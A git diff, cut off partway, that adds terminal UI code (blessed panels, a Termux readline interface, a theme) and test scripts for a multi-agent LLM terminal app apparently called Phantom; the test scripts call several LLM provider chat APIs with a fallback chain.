+ const cols = Math.ceil(Math.sqrt(this.panels.length + 1)); + const rows = Math.ceil((this.panels.length + 1) / cols); + const idx = this.panels.length; + + const box = blessed.box({ + parent: this.container, + top: `${Math.floor(idx / cols) * (100 / rows)}%`, + left: `${(idx % cols) * (100 / cols)}%`, + width: `${100 / cols}%`, + height: `${100 / rows}%`, + border: phantomBorders, + style: { + bg: phantomTheme.panelBg, + fg: phantomTheme.foreground, + border: { fg: phantomTheme.border }, + }, + label: agent + ? ` {bold}${agent.name}{/bold} [${agent.role}] ` + : " {bold}~terminal{/bold} ", + tags: true, + }); + + const log = blessed.log({ + parent: box, + top: 0, + left: 0, + width: "100%", + height: "100%-1", + scrollable: true, + scrollbar: { + ch: "░", + style: { fg: phantomTheme.dim }, + }, + style: { + bg: phantomTheme.panelBg, + fg: phantomTheme.foreground, + }, + keys: true, + vi: true, + alwaysScroll: true, + scrollback: 500, + tags: true, + }); + + const footer = blessed.box({ + parent: box, + bottom: 0, + left: 0, + width: "100%", + height: 1, + content: agent + ? ` {${agent.color}-fg}●{/${agent.color}-fg} ${agent.id}` + : " {bold}←→{/bold} switch {bold}SPC{/bold} cmd {bold}ESC{/bold} menu ", + tags: true, + style: { + bg: phantomTheme.titleBar, + fg: phantomTheme.dim, + }, + }); + + const panel: PhantomPanel = { box, log, agentId: agent?.id }; + this.panels.push(panel); + + box.on("click", () => this.focus(idx)); + this.focus(idx); + + this.screen.render(); + return panel; + } + + focus(index: number): void { + const prev = this.panels[this.focusedIndex]; + if (prev && prev.box.style.border) { + (prev.box.style.border as Record).fg = phantomTheme.border; + } + + this.focusedIndex = Math.max(0, Math.min(index, this.panels.length - 1)); + + const current = this.panels[this.focusedIndex]; + if (current && current.box.style.border) { + (current.box.style.border as Record).fg = phantomTheme.borderFocus; + } + this.screen.render(); + } + + getFocused(): PhantomPanel | undefined { + return this.panels[this.focusedIndex]; + } + + getPanels(): PhantomPanel[] { + return this.panels; + } + + removePanel(id: string): void { + const idx = this.panels.findIndex((p) => p.agentId === id); + if (idx === -1) return; + const panel = this.panels[idx]; + panel.box.detach(); + this.panels.splice(idx, 1); + this.screen.render(); + } + + writeToPanel(agentId: string, msg: string): void { + const panel = this.panels.find((p) => p.agentId === agentId); + if (panel) { + panel.log.add(msg); + this.screen.render(); + } + } + + writeToAll(msg: string): void { + this.panels.forEach((p) => { + p.log.add(msg); + }); + this.screen.render(); + } + + nextPanel(): void { + this.focus((this.focusedIndex + 1) % this.panels.length); + } + + prevPanel(): void { + this.focus((this.focusedIndex - 1 + this.panels.length) % this.panels.length); + } +} diff --git a/src/ui/terminal.ts b/src/ui/terminal.ts new file mode 100644 index 0000000000000000000000000000000000000000..8cb2e3055efa8a0245af4314bc966952f4bea4e4 --- /dev/null +++ b/src/ui/terminal.ts @@ -0,0 +1,275 @@ +import blessed from "blessed"; +import { phantomTheme } from "./theme.js"; +import { PanelManager } from "./panels"; +import { AgentManager } from "../agents/manager"; +import { EventBus, EventHandler } from "../core/eventbus"; +import { AgentIdentity } from "../agents/types"; +import { loadConfig } from "../core/config"; +import { createOpenAIProvider, createOllamaProvider, LLMProvider } from "../providers/openai"; + +export class PhantomTerminal { + private screen: blessed.Widgets.Screen; + private panelManager!: PanelManager; + private agentManager!: AgentManager; + private bus: EventBus; + private titleBar!: blessed.Widgets.BoxElement; + private commandInput!: blessed.Widgets.TextboxElement; + private llm?: LLMProvider; + + constructor() { + this.bus = EventBus.getInstance(); + + const config = loadConfig(); + if (config.providers.openai.apiKey) { + this.llm = createOpenAIProvider(config); + } else if (config.providers.ollama.baseUrl) { + try { + this.llm = createOllamaProvider(config); + } catch {} + } + + this.agentManager = new AgentManager(this.llm); + + const term = process.env.TERM || "xterm-256color"; + const isTermux = process.env.TERMUX_VERSION !== undefined; + + this.screen = blessed.screen({ + smartCSR: !isTermux, + title: "Phantom — Space Evolving Terminal", + cursor: { artificial: true, shape: "line", blink: true } as any, + dockBorders: !isTermux, + fullUnicode: true, + terminal: term, + useBCE: true, + forceUnicode: true, + sendFocus: true, + debug: false, + warnings: false, + }); + + this.screen.key(["C-c", "C-q", "q"], () => { + process.exit(0); + }); + + this.screen.on("resize", () => { + this.screen.render(); + }); + + this.buildUI(); + this.registerEvents(); + this.spawnDefaultAgents(); + } + + private buildUI(): void { + this.titleBar = blessed.box({ + parent: this.screen, + top: 0, + left: 0, + width: "100%", + height: 1, + content: this.makeTitleContent(0, false), + tags: true, + style: { bg: phantomTheme.titleBar, fg: phantomTheme.accent }, + }); + + this.panelManager = new PanelManager(this.screen); + + const statusBar = blessed.box({ + parent: this.screen, + bottom: 1, + left: 0, + width: "100%", + height: 1, + content: ` ${GRAY}⏎ cmd →← panels TAB focus ESC palette q quit${R}`, + tags: true, + style: { bg: phantomTheme.titleBar, fg: phantomTheme.dim }, + }); + + this.commandInput = blessed.textbox({ + parent: this.screen, + bottom: 0, + left: 0, + width: "100%", + height: 1, + inputOnFocus: true, + style: { + bg: phantomTheme.background, + fg: phantomTheme.accent2, + focus: { bg: phantomTheme.background }, + }, + prompt: ` {${phantomTheme.accent2}-fg}⚡{/${phantomTheme.accent2}-fg} `, + }); + + this.screen.key(["escape"], () => { + this.commandInput.readInput((_err: any, val?: string) => { + if (val) this.handleCommand(val); + this.commandInput.clearValue(); + this.screen.render(); + }); + }); + + this.screen.key(["tab"], () => { + const focused = this.panelManager.getFocused(); + if (focused) { + this.commandInput.focus(); + } else { + this.screen.focusNext(); + } + this.screen.render(); + }); + + this.screen.key(["right"], () => this.panelManager.nextPanel()); + this.screen.key(["left"], () => this.panelManager.prevPanel()); + + if (!this.llm) { + setTimeout(() => { + const panel = this.panelManager.getFocused(); + if (panel) { + panel.log.add(`{yellow-fg}⚠ No LLM configured. Agents will use basic responses.{/yellow-fg}`); + panel.log.add(`{cyan-fg} Set OPENAI_API_KEY or configure ~/.config/phantom/config.json{/cyan-fg}`); + } + }, 500); + } + } + + private registerEvents(): void { + this.bus.on("agent:spawned", ((data: unknown) => { + const agent = data as AgentIdentity; + const panel = this.panelManager.createPanel(agent); + panel.log.add(`{green-fg}◈ Agent ${agent.name} initialized{/green-fg}`); + panel.log.add(`{cyan-fg} id: ${agent.id} role: ${agent.role}{/cyan-fg}`); + this.refreshTitle(); + }) as EventHandler); + + this.bus.on("agent:speaking", ((data: unknown) => { + const { agent, message } = data as { agent: AgentIdentity; message: string }; + this.panelManager.writeToPanel( + agent.id, + `{${agent.color}-fg}[${agent.name}]{/${agent.color}-fg} ${message}` + ); + this.refreshTitle(); + }) as EventHandler); + + this.bus.on("agent:thinking", ((_data: unknown) => { + this.refreshTitle(); + }) as EventHandler); + + this.bus.on("agent:evolving", ((data: unknown) => { + const { agent, level } = data as { agent: AgentIdentity; level: number }; + this.panelManager.writeToPanel( + agent.id, + `{magenta-fg}⬆ EVOLVED to level ${level}{/magenta-fg}` + ); + }) as EventHandler); + + this.bus.on("agent:removed", ((data: unknown) => { + const id = data as string; + this.panelManager.removePanel(id); + this.panelManager.writeToAll(`{red-fg}◈ Agent ${id} terminated{/red-fg}`); + this.refreshTitle(); + }) as EventHandler); + } + + private makeTitleContent(count: number, hasThinking: boolean): string { + const status = hasThinking + ? "{yellow-fg}🧠 thinking{/yellow-fg}" + : "{green-fg}⚡ idle{/green-fg}"; + return ` {bold}PHANTOM{/bold} — space evolving terminal {#333355-fg}| agents: ${count} | ${status}{/#333355-fg}`; + } + + private refreshTitle(): void { + const agents = this.agentManager.listAgents(); + const hasThinking = agents.some((a) => a.status === "thinking"); + this.titleBar.setContent(this.makeTitleContent(agents.length, hasThinking)); + this.screen.render(); + } + + private spawnDefaultAgents(): void { + this.agentManager.spawnDefaults(); + } + + private handleCommand(cmd: string): void { + const parts = cmd.trim().split(/\s+/); + const command = parts[0]?.toLowerCase(); + const args = parts.slice(1); + const panel = this.panelManager.getFocused(); + + switch (command) { + case "spawn": + case "s": { + this.agentManager.spawnAgent(args[0], args[1], args.slice(2).join(" ")); + break; + } + case "list": + case "ls": { + if (panel) { + const agents = this.agentManager.listAgents(); + panel.log.add(`{cyan-fg}◈ Agents (${agents.length}):{/cyan-fg}`); + agents.forEach((a) => { + panel.log.add( + ` {${a.color}-fg}●{/${a.color}-fg} ${a.name} (${a.id}) — ${a.role} [${a.status}] ★${a.evolutionLevel}` + ); + }); + } + break; + } + case "broadcast": + case "b": { + const msg = args.join(" "); + if (panel && panel.agentId && msg) { + this.agentManager.broadcast(panel.agentId, msg); + panel.log.add(`{cyan-fg}◈ Broadcasting...{/cyan-fg}`); + } + break; + } + case "debate": + case "d": { + const topic = args.join(" ") || "what should we build?"; + const starterId = this.agentManager.listAgents()[0]?.id; + if (starterId) { + this.agentManager.debate(topic); + if (panel) panel.log.add(`{magenta-fg}◈ Debate started: ${topic}{/magenta-fg}`); + } + break; + } + case "evolve": + case "e": { + this.agentManager.evolveAll(); + this.panelManager.writeToAll("{magenta-fg}⬆ Mass evolution initiated{/magenta-fg}"); + break; + } + case "clear": + case "c": { + if (panel) panel.log.setContent(""); + break; + } + case "help": + case "h": { + if (panel) { + panel.log.add(""); + panel.log.add("{bold}PHANTOM COMMANDS{/bold}"); + panel.log.add(` {green-fg}spawn{/green-fg} [name] [role] [persona] — create agent`); + panel.log.add(` {green-fg}list{/green-fg} — list agents`); + panel.log.add(` {green-fg}broadcast{/green-fg} — msg all agents`); + panel.log.add(` {green-fg}debate{/green-fg} [topic] — agents debate`); + panel.log.add(` {green-fg}evolve{/green-fg} — evolve all`); + panel.log.add(` {green-fg}clear{/green-fg} — clear panel`); + panel.log.add(` {green-fg}help{/green-fg} — this help`); + panel.log.add(` {green-fg}quit{/green-fg} — exit`); + panel.log.add(""); + } + break; + } + case "quit": + case "q": + process.exit(0); + } + } + + start(): void { + this.screen.render(); + } +} + +const GRAY = "{#333355-fg}"; +const R = "{/}"; diff --git a/src/ui/termux.ts b/src/ui/termux.ts new file mode 100644 index 0000000000000000000000000000000000000000..0df91cb812c1709153eec93214f578efea377e1f --- /dev/null +++ b/src/ui/termux.ts @@ -0,0 +1,269 @@ +import * as readline from "readline"; +import { EventBus, EventHandler } from "../core/eventbus"; +import { AgentManager } from "../agents/manager"; +import { AgentIdentity } from "../agents/types"; +import { phantomTheme } from "./theme"; +import { loadConfig } from "../core/config"; +import { createOpenAIProvider, createOllamaProvider, LLMProvider } from "../providers/openai"; + +const R = "\x1b[0m"; +const BOLD = "\x1b[1m"; +const DIM = "\x1b[2m"; +const GREEN = "\x1b[38;2;0;255;136m"; +const CYAN = "\x1b[38;2;0;204;255m"; +const MAGENTA = "\x1b[38;2;255;0;204m"; +const YELLOW = "\x1b[38;2;255;136;0m"; +const RED = "\x1b[38;2;255;34;68m"; +const BLUE = "\x1b[38;2;68;68;170m"; +const GRAY = "\x1b[38;2;51;51;85m"; +const BG = "\x1b[48;2;10;10;26m"; + +function colorFromHex(hex: string): string { + const r = parseInt(hex.slice(1, 3), 16); + const g = parseInt(hex.slice(3, 5), 16); + const b = parseInt(hex.slice(5, 7), 16); + return `\x1b[38;2;${r};${g};${b}m`; +} + +const AGENT_COLORS: Record = {}; + +export class PhantomTermuxUI { + private rl: readline.Interface; + private agentManager: AgentManager; + private bus: EventBus; + private running = true; + private commandHistory: string[] = []; + private historyIndex = -1; + private log: string[] = []; + private llm?: LLMProvider; + + constructor() { + this.bus = EventBus.getInstance(); + + const config = loadConfig(); + if (config.providers.openai.apiKey) { + this.llm = createOpenAIProvider(config); + } else if (config.providers.ollama.baseUrl) { + try { + this.llm = createOllamaProvider(config); + } catch { + // fallback to no LLM + } + } + + this.agentManager = new AgentManager(this.llm); + + readline.emitKeypressEvents(process.stdin); + if (process.stdin.isTTY) process.stdin.setRawMode?.(true); + + this.rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + prompt: "", + terminal: true, + }); + + this.registerEvents(); + } + + private registerEvents(): void { + this.bus.on("agent:spawned", ((data: unknown) => { + const agent = data as AgentIdentity; + AGENT_COLORS[agent.id] = agent.color; + this.writeLog(`${GREEN}◈${R} ${colorFromHex(agent.color)}${agent.name}${R} spawned [${DIM}${agent.role}${R}]`); + }) as EventHandler); + + this.bus.on("agent:speaking", ((data: unknown) => { + const { agent, message } = data as { agent: AgentIdentity; message: string }; + const c = colorFromHex(agent.color); + this.writeLog(`${c}${agent.name}${R} ${DIM}»${R} ${message}`); + }) as EventHandler); + + this.bus.on("agent:evolving", ((data: unknown) => { + const { agent, level } = data as { agent: AgentIdentity; level: number }; + this.writeLog(`${MAGENTA}⬆${R} ${colorFromHex(agent.color)}${agent.name}${R} evolved to ${BOLD}level ${level}${R}`); + }) as EventHandler); + + this.bus.on("agent:removed", ((data: unknown) => { + const id = data as string; + this.writeLog(`${RED}✕${R} Agent ${DIM}${id}${R} removed`); + }) as EventHandler); + } + + private writeLog(msg: string): void { + this.log.push(msg); + if (this.log.length > 500) this.log.shift(); + } + + private clearScreen(): void { + process.stdout.write("\x1b[2J\x1b[H"); + } + + private draw(): void { + const [rows, cols] = process.stdout.getWindowSize(); + + const agents = this.agentManager.listAgents(); + const statusLine = agents.length > 0 + ? `${GREEN}◈${R} ${agents.length} agents` + : `${GRAY}no agents${R}`; + + let thinking = agents.filter((a) => a.status === "thinking").length; + const status = thinking > 0 ? `${YELLOW}🧠 ${thinking} thinking${R}` : `${GREEN}⚡ idle${R}`; + + const header = `${BOLD}${GREEN}PHANTOM${R}${GRAY} — space evolving terminal${R} ${GRAY}|${R} ${statusLine} ${GRAY}|${R} ${status}`; + + const footer = `${GRAY}ESC cmd TAB focus ←→ panels q quit${R}`; + + const logLines = this.log.slice(-(rows - 4)); + const maxContentWidth = cols - 2; + + this.clearScreen(); + process.stdout.write(`${BG}${header}\n${R}`); + + if (logLines.length === 0) { + process.stdout.write(`${DIM}${GRAY} No activity yet. Press ESC to open command palette.${R}\n`); + } else { + for (const line of logLines) { + const display = line.length > maxContentWidth + ? line.substring(0, maxContentWidth - 3) + "..." + : line; + process.stdout.write(` ${display}\n`); + } + } + + process.stdout.write(`\n${DIM}${footer}${R}`); + } + + private promptCommand(): void { + this.rl.question(`${GREEN}⚡${R} `, (input) => { + const cmd = input.trim(); + if (!cmd) { + this.draw(); + this.waitForKey(); + return; + } + + this.commandHistory.push(cmd); + this.historyIndex = this.commandHistory.length; + this.handleCommand(cmd); + this.draw(); + this.waitForKey(); + }); + } + + private waitForKey(): void { + if (!this.running) return; + process.stdin.once("keypress", (_str, key) => { + if (!key) return; + if (key.name === "escape") { + this.promptCommand(); + } else if (key.name === "q") { + this.stop(); + } else if (key.name === "right") { + // no-op in termux mode + this.waitForKey(); + } else if (key.name === "left") { + this.waitForKey(); + } else { + this.waitForKey(); + } + }); + } + + private handleCommand(cmd: string): void { + const parts = cmd.trim().split(/\s+/); + const command = parts[0]?.toLowerCase(); + const args = parts.slice(1); + + switch (command) { + case "spawn": + case "s": { + this.agentManager.spawnAgent(args[0], args[1], args.slice(2).join(" ")); + break; + } + case "list": + case "ls": { + const agents = this.agentManager.listAgents(); + if (agents.length === 0) { + this.writeLog(`${GRAY}No active agents. Use 'spawn' to create one.${R}`); + } else { + this.writeLog(`${CYAN}◈ Agents (${agents.length}):${R}`); + agents.forEach((a) => { + const c = colorFromHex(a.color); + this.writeLog(` ${c}●${R} ${BOLD}${a.name}${R} ${DIM}${a.id}${R} — ${a.role} ${GRAY}[${a.status}]${R} ${MAGENTA}★${a.evolutionLevel}${R}`); + }); + } + break; + } + case "broadcast": + case "b": { + const msg = args.join(" "); + const id = this.agentManager.listAgents()[0]?.id; + if (id && msg) { + this.agentManager.broadcast(id, msg); + } + break; + } + case "debate": + case "d": { + const topic = args.join(" ") || "what should we build today?"; + this.agentManager.debate(topic); + break; + } + case "evolve": + case "e": { + this.agentManager.evolveAll(); + this.writeLog(`${MAGENTA}⬆ Mass evolution initiated${R}`); + break; + } + case "clear": + this.log = []; + break; + case "help": + case "h": { + this.writeLog(`${BOLD}${GREEN}PHANTOM COMMANDS${R}`); + this.writeLog(` ${GREEN}spawn${R} [name] [role] [persona] — create agent`); + this.writeLog(` ${GREEN}list${R} — list agents`); + this.writeLog(` ${GREEN}broadcast${R} — message all agents`); + this.writeLog(` ${GREEN}debate${R} [topic] — agents debate a topic`); + this.writeLog(` ${GREEN}evolve${R} — evolve all agents`); + this.writeLog(` ${GREEN}clear${R} — clear screen`); + this.writeLog(` ${GREEN}help${R} — this help`); + this.writeLog(` ${GREEN}quit${R} — exit`); + break; + } + case "quit": + case "q": + this.stop(); + break; + default: + this.writeLog(`${RED}Unknown command:${R} ${cmd}. Type ${GREEN}help${R} for commands.`); + } + } + + start(): void { + this.clearScreen(); + process.stdout.write(`\n${BOLD}${GREEN}╔══════════════════════════════════════╗${R}`); + process.stdout.write(`\n${BOLD}${GREEN}║${R} ${BOLD}PHANTOM${R}${GRAY} — space evolving terminal${R} ${BOLD}${GREEN}║${R}`); + process.stdout.write(`\n${BOLD}${GREEN}╚══════════════════════════════════════╝${R}\n\n`); + + this.agentManager.spawnDefaults(); + + if (!this.llm) { + this.writeLog(`${YELLOW}⚠ No LLM configured. Agents will use basic responses.${R}`); + this.writeLog(`${GRAY} Set OPENAI_API_KEY or configure ~/.config/phantom/config.json${R}`); + } else { + this.writeLog(`${GREEN}✓ LLM connected${R}`); + } + + this.draw(); + this.waitForKey(); + } + + stop(): void { + this.running = false; + this.clearScreen(); + process.stdout.write(`${GREEN}Phantom terminated.${R}\n`); + process.exit(0); + } +} diff --git a/src/ui/theme.ts b/src/ui/theme.ts new file mode 100644 index 0000000000000000000000000000000000000000..45da79afe924d71231aa2d9bd14bde14388530a8 --- /dev/null +++ b/src/ui/theme.ts @@ -0,0 +1,28 @@ +export const phantomTheme = { + background: "#0a0a1a", + foreground: "#c0c0e0", + border: "#4444aa", + borderFocus: "#8844ff", + accent: "#00ff88", + accent2: "#00ccff", + accent3: "#ff00cc", + warning: "#ff8800", + error: "#ff2244", + dim: "#333355", + panelBg: "#0d0d24", + titleBar: "#1a1a3a", + agentColors: [ + "#00ff88", "#00ccff", "#ff00cc", "#ff8800", + "#8800ff", "#00ffcc", "#ff0066", "#66ff00", + ], +}; + +export const phantomBorders = { + type: "line" as const, + fg: 63, +}; + +export const phantomBordersFocus = { + type: "line" as const, + fg: 99, +}; diff --git a/test-chat-flow.mjs b/test-chat-flow.mjs new file mode 100644 index 0000000000000000000000000000000000000000..30129ad64f1886ae400656f19c53dcd057170562 --- /dev/null +++ b/test-chat-flow.mjs @@ -0,0 +1,132 @@ +// Simulate phantom.mjs --chat flow +import { runChat } from './chat.mjs'; + +// Simulate the exact llm object from phantom.mjs +import fs from "fs"; +const config = JSON.parse(fs.readFileSync('./config.json', 'utf-8')); + +// Copy exact phantom.mjs PROVIDERS +const PROVIDERS = { + openai: { url: "https://opencode.ai/zen/v1", keyEnv: "OPENCODE_ZEN_API_KEY", defaultModel: "nemotron-3-ultra-free", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 16384 }), parse: d => { const c = d.choices?.[0]?.message?.content?.trim(); return c || (d.choices?.[0]?.finish_reason === "length" ? "[Response truncated — increase max_tokens]" : "…"); }, auth: k => ({ "Authorization": `Bearer ${k}` }) }, + anthropic: { url: "https://api.anthropic.com/v1", keyEnv: "ANTHROPIC_API_KEY", defaultModel: "claude-sonnet-4-20250514", chatPath: "/messages", fmt: o => ({ model: o.model, messages: o.messages, max_tokens: 512 }), parse: d => d.content?.[0]?.text || d.content?.toString() || "...", auth: k => ({ "x-api-key": k, "anthropic-version": "2023-06-01" }) }, + gemini: { url: "https://generativelanguage.googleapis.com/v1beta", keyEnv: "GEMINI_API_KEY", defaultModel: "gemini-2.0-flash", chatPath: "/models/{model}:generateContent", fmt: o => ({ contents: o.messages.map(m => ({ role: m.role === "assistant" ? "model" : m.role, parts: [{ text: m.content }] })) }), parse: d => d.candidates?.[0]?.content?.parts?.[0]?.text || "...", auth: () => ({}), urlMod: (u, m, k) => `${u}${m}?key=${k}` }, + groq: { url: "https://api.groq.com/openai/v1", keyEnv: "GROQ_API_KEY", defaultModel: "llama-3.3-70b-versatile", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + deepseek: { url: "https://api.deepseek.com/v1", keyEnv: "DEEPSEEK_API_KEY", defaultModel: "deepseek-chat", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + mistral: { url: "https://api.mistral.ai/v1", keyEnv: "MISTRAL_API_KEY", defaultModel: "mistral-large-latest", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + openrouter: { url: "https://openrouter.ai/api/v1", keyEnv: "OPENROUTER_API_KEY", defaultModel: "anthropic/claude-sonnet-4", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + ollama: { url: process.env.OLLAMA_HOST || "http://localhost:11434", keyEnv: "", defaultModel: "llama3", chatPath: "/api/chat", fmt: o => ({ model: o.model, messages: o.messages, stream: false }), parse: d => d.message?.content?.trim() || "...", auth: () => ({}) }, + opencode: { url: "https://opencode.ai/zen/v1", keyEnv: "OPENCODE_ZEN_API_KEY", defaultModel: "nemotron-3-ultra-free", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 16384 }), parse: d => { const c = d.choices?.[0]?.message?.content?.trim(); return c || (d.choices?.[0]?.finish_reason === "length" ? "[Response truncated — increase max_tokens or shorten context]" : "…"); }, auth: k => ({ "Authorization": `Bearer ${k}` }) }, +}; + +const PHANTOM_LLM_PROVIDER = "openai"; +let _config = config; + +function getProvider() { + const name = PHANTOM_LLM_PROVIDER || "openai"; + const p = PROVIDERS[name]; + if (!p) return PROVIDERS.openai; + return p; +} + +function getKey(p) { + if (p.keyEnv) { + const k = process.env[p.keyEnv]; + if (k) return k; + if (_config[p.keyEnv]) return _config[p.keyEnv]; + } + return ""; +} + +async function detectProviders() { + const available = {}; + for (const [name, p] of Object.entries(PROVIDERS)) { + if (name === "ollama") { + try { + const r = await fetch(`${p.url}/api/tags`, { signal: AbortSignal.timeout(3000) }); + available[name] = r.ok ? "local" : "no"; + } catch { available[name] = "no"; } + } else { + available[name] = p.keyEnv && getKey(p) ? "key" : "no"; + } + } + return available; +} + +function selectBest(avail) { + const order = ["openai", "ollama", "opencode", "anthropic", "groq", "gemini", "deepseek", "mistral", "openrouter"]; + for (const name of order) { + if (avail[name] && avail[name] !== "no") return name; + } + return null; +} + +const phantomLLM = { + get provider() { return PHANTOM_LLM_PROVIDER; }, + set provider(name) { if (PROVIDERS[name]) PHANTOM_LLM_PROVIDER = name; }, + get providers() { return Object.keys(PROVIDERS); }, + detectProviders, + selectBest, + get hasLLM() { + const p = getProvider(); + return !!(p.keyEnv ? getKey(p) : p === PROVIDERS.ollama); + }, + chat: async function(messages, opts = {}) { + const p = getProvider(); + const key = getKey(p); + if (p.keyEnv && !key) return `[${PHANTOM_LLM_PROVIDER}] No API key. Set ${p.keyEnv} env or in config.json`; + const model = opts.model || p.defaultModel; + + // Fallback chain on rate limits / errors + const fallbackOrder = ["openai", "anthropic", "groq", "gemini", "deepseek", "mistral", "openrouter", "opencode"]; + let currentProvider = PHANTOM_LLM_PROVIDER; + let lastError = ""; + + for (const providerName of fallbackOrder) { + const providerObj = PROVIDERS[providerName]; + if (!providerObj) continue; + + const providerKey = getKey(providerObj); + if (providerObj.keyEnv && !providerKey && providerName !== "ollama") continue; + + try { + let url = `${providerObj.url}${providerObj.chatPath.replace("{model}", model)}`; + const headers = { "Content-Type": "application/json", ...providerObj.auth(providerKey) }; + if (providerObj.urlMod) url = providerObj.urlMod(url, providerObj.chatPath.replace("{model}", model), providerKey); + const body = JSON.stringify(providerObj.fmt({ model, messages })); + + const r = await fetch(url, { method: "POST", headers, body, signal: AbortSignal.timeout(60000) }); + + if (!r.ok) { + const t = await r.text().catch(() => ""); + lastError = `[${providerName} ${r.status}] ${t.substring(0, 200)}`; + + // Fallback on rate limit or service errors + if (r.status === 429 || r.status === 503 || r.status >= 500) { + console.log(`[LLM Fallback] ${providerName} returned ${r.status}, trying next provider...`); + continue; + } + return lastError; + } + + const d = await r.json(); + const result = providerObj.parse(d) || "..."; + + if (providerName !== currentProvider) { + console.log(`[LLM Fallback] Switched to ${providerName}`); + } + return result; + } catch (e) { + lastError = `[${providerName} err] ${e.message}`; + console.log(`[LLM Fallback] ${providerName} error: ${e.message}, trying next...`); + continue; + } + } + + return `[LLM Fallback] All providers exhausted. Last error: ${lastError}`; + }, +}; + +console.log('phantomLLM.provider:', phantomLLM.provider); +console.log('phantomLLM.hasLLM:', phantomLLM.hasLLM); + +await runChat(phantomLLM); \ No newline at end of file diff --git a/test-llm.mjs b/test-llm.mjs new file mode 100644 index 0000000000000000000000000000000000000000..7b4dcf6d492c9a3eab7177acedafe04df5fc737f --- /dev/null +++ b/test-llm.mjs @@ -0,0 +1,62 @@ +import fs from "fs"; + +const config = JSON.parse(fs.readFileSync('./config.json', 'utf-8')); + +// Simulate phantom.mjs createProvider exactly +const PROVIDERS = { + openai: { url: 'https://opencode.ai/zen/v1', keyEnv: 'OPENCODE_ZEN_API_KEY', defaultModel: 'nemotron-3-ultra-free', chatPath: '/chat/completions', fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 16384 }), parse: d => { const c = d.choices?.[0]?.message?.content?.trim(); return c || (d.choices?.[0]?.finish_reason === 'length' ? '[Response truncated]' : '...'); }, auth: k => ({ 'Authorization': 'Bearer ' + k }) }, + opencode: { url: 'https://opencode.ai/zen/v1', keyEnv: 'OPENCODE_ZEN_API_KEY', defaultModel: 'nemotron-3-ultra-free', chatPath: '/chat/completions', fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 16384 }), parse: d => { const c = d.choices?.[0]?.message?.content?.trim(); return c || (d.choices?.[0]?.finish_reason === 'length' ? '[Response truncated]' : '...'); }, auth: k => ({ 'Authorization': 'Bearer ' + k }) }, +}; + +const PHANTOM_LLM_PROVIDER = 'openai'; + +function getProvider() { + const name = PHANTOM_LLM_PROVIDER || 'openai'; + const p = PROVIDERS[name]; + if (!p) return PROVIDERS.openai; + return p; +} + +function getKey(p) { + if (p.keyEnv) { + const k = process.env[p.keyEnv]; + if (k) return k; + if (config[p.keyEnv]) return config[p.keyEnv]; + } + return ''; +} + +const llm = { + get provider() { return PHANTOM_LLM_PROVIDER; }, + set provider(name) { if (PROVIDERS[name]) PHANTOM_LLM_PROVIDER = name; }, + get providers() { return Object.keys(PROVIDERS); }, + detectProviders: async () => {}, + selectBest: () => {}, + get hasLLM() { + const p = getProvider(); + return !!(p.keyEnv ? getKey(p) : p === PROVIDERS.ollama); + }, + chat: async function(messages, opts = {}) { + const p = getProvider(); + const key = getKey(p); + if (p.keyEnv && !key) return '[' + PHANTOM_LLM_PROVIDER + '] No API key. Set ' + p.keyEnv + ' env or in config.json'; + const model = opts.model || p.defaultModel; + console.log('Using model:', model); + try { + let url = p.url + p.chatPath.replace('{model}', model); + const headers = { 'Content-Type': 'application/json', ...p.auth(key) }; + const body = JSON.stringify(p.fmt({ model, messages })); + const r = await fetch(url, { method: 'POST', headers, body, signal: AbortSignal.timeout(60000) }); + if (!r.ok) { const t = await r.text().catch(() => ''); return '[' + r.status + '] ' + t.substring(0, 200); } + const d = await r.json(); + return p.parse(d) || '...'; + } catch (e) { return '[err] ' + e.message; } + } +}; + +const messages = [ + { role: 'system', content: 'You are Phantom, a helpful AI assistant. You are concise, knowledgeable, and direct. Answer clearly and accurately.' }, + { role: 'user', content: 'what is phantom?' } +]; +const response = await llm.chat(messages); +console.log('Response:', response); \ No newline at end of file diff --git a/test-phantom-llm.mjs b/test-phantom-llm.mjs new file mode 100644 index 0000000000000000000000000000000000000000..e4a7b77c0cd5fe9028d227c9b2c02dff22740f2a --- /dev/null +++ b/test-phantom-llm.mjs @@ -0,0 +1,135 @@ +// Test the exact phantom.mjs createProvider and chat method +import fs from "fs"; + +const config = JSON.parse(fs.readFileSync('./config.json', 'utf-8')); + +// Copy exact phantom.mjs PROVIDERS +const PROVIDERS = { + openai: { url: "https://opencode.ai/zen/v1", keyEnv: "OPENCODE_ZEN_API_KEY", defaultModel: "nemotron-3-ultra-free", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 16384 }), parse: d => { const c = d.choices?.[0]?.message?.content?.trim(); return c || (d.choices?.[0]?.finish_reason === "length" ? "[Response truncated — increase max_tokens]" : "…"); }, auth: k => ({ "Authorization": `Bearer ${k}` }) }, + anthropic: { url: "https://api.anthropic.com/v1", keyEnv: "ANTHROPIC_API_KEY", defaultModel: "claude-sonnet-4-20250514", chatPath: "/messages", fmt: o => ({ model: o.model, messages: o.messages, max_tokens: 512 }), parse: d => d.content?.[0]?.text || d.content?.toString() || "...", auth: k => ({ "x-api-key": k, "anthropic-version": "2023-06-01" }) }, + gemini: { url: "https://generativelanguage.googleapis.com/v1beta", keyEnv: "GEMINI_API_KEY", defaultModel: "gemini-2.0-flash", chatPath: 